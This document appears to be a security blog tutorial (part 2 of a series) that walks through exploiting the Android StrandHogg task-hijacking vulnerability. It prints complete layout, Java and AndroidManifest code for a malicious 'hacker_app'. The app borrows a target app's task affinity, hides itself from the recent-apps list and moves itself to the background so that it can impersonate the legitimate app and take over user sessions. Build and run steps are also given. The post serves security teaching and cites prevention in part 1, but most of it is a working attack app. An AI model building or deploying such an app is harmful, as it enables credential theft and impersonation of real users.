Hello, and welcome back! Hopefully you’ve already gone through Task Hijacking (StrandHogg) Vulnerability Part 1, learning how to identify StrandHogg vulnerabilities. If this is your first experience with CFDs, watch Part 1 to gain a firm grasp on all of the basics!
In this blog post, we’ll walk through step-by-step the process of exploiting the StrandHogg vulnerability. Don’t wait — dive right in!
So far, we’ve learned that the user application is running with android:minSdkVersion set to less than 30 and is using singleTask as the launch mode for its activities.
An activity with singleTask ensures that only one instance of the activity exists in the system at any time. Additionally, if the application’s android:minSdkVersion is set to less than 30, it lacks the necessary patches to mitigate the StrandHogg vulnerability.
Now, we can build a malicious application with the following configurations:
1) Set “android:taskAffinity=””: By setting this value to “user vulnerable application package name,” malicious activity appears as part of the legitimate user application and can therefore take control of a task without detection.
2) Set android:launchMode=”singleTask”: Ensures only one instance of the malicious activity exists, mimicking the behavior of the legitimate app.
3) Set android:excludeFromRecents=”true”: Hides the malicious task from the recent apps list, keeping the attackers’ app concealed from the user.
Step 1:
1) Open Android Studio. If it’s not installed, download and install it from the Android Studio website.
2) Create a new project by selecting Empty Views Activity as the template.
3) Set the programming language to Java and leave all other options unchanged and name the application hacker_app and proceed.
5) Wait for Gradle to finish building the project. Once the project is created, you will see two default files:
– activity_main.xml: The layout file.
– MainActivity.java: The main logic file.
Step 2:
1) Navigate to the app > res > layout > activity_main.xml and add the below code to that file. Below is the code for the activity_main.xml file.
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:id="@+id/textView"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hacker App"
android:textSize="32dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<TextView
android:id="@+id/msg"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="TextView"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.498"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/textView"
app:layout_constraintVertical_bias="0.175" />
</androidx.constraintlayout.widget.ConstraintLayout>
2) Go to the MainActivity.java file and refer to the following code. Below is the code for the MainActivity.java file.
package com.example.hacker_app;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import com.google.android.material.snackbar.Snackbar;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
moveTaskToBack(true);
}
@Override public void onResume()
{
super.onResume();
setContentView(R.layout.activity_main);
}
}
3)Go to the AndroidManifest.xml file and refer to the following code. Below is the code for the AndroidManifest.xml file.
Note: Here, since we want to target our user_application, we’ll define the task affinity using its package name android:taskAffinity=”com.example.user_application”. Another thing android:excludeFromRecents=”true” ensures the task is not listed in the recent apps so that the attackers’ app is hidden.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.example.hacker_app"
tools:ignore="ExtraText">
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"
tools:ignore="CoarseFineLocation" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Hacker_app"
android:taskAffinity="com.example.user_application">
<activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true"
android:exported="true"
tools:ignore="WrongManifestParent">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
4) Go to Main Menu > Build > Build APK(s), select Build APK(s), and once the build is complete, locate the app-debug.apk file in the AndroidStudioProjects/hacker_app/app/build/outputs/apk/debug folder.
1) Launch the hacker app (which is running with android:launchMode=”singleTask” and is hidden from recent apps). It will open as a separate task and mimic the legitimate user app.
2) Launch the user application and complete any tasks involving authentication, such as entering credentials or performing authentication-related activities.
3) Review your recent apps screen on your device to verify if a hacker app has taken control of your session, appearing like it were legit apps to allow an attacker to pose as you and take actions without your approval.
In this process, we demonstrated how the StrandHogg vulnerability could be exploited by taking control of user sessions and exploiting them directly. By creating a malicious app with a carefully configured android:taskAffinity, android:launchMode=”singleTask”, and android:excludeFromRecents=”true”, the attacker managed to impersonate the legitimate app.
For Impact and Prevention refer Task Hijacking (StrandHogg) Vulnerability Part 1
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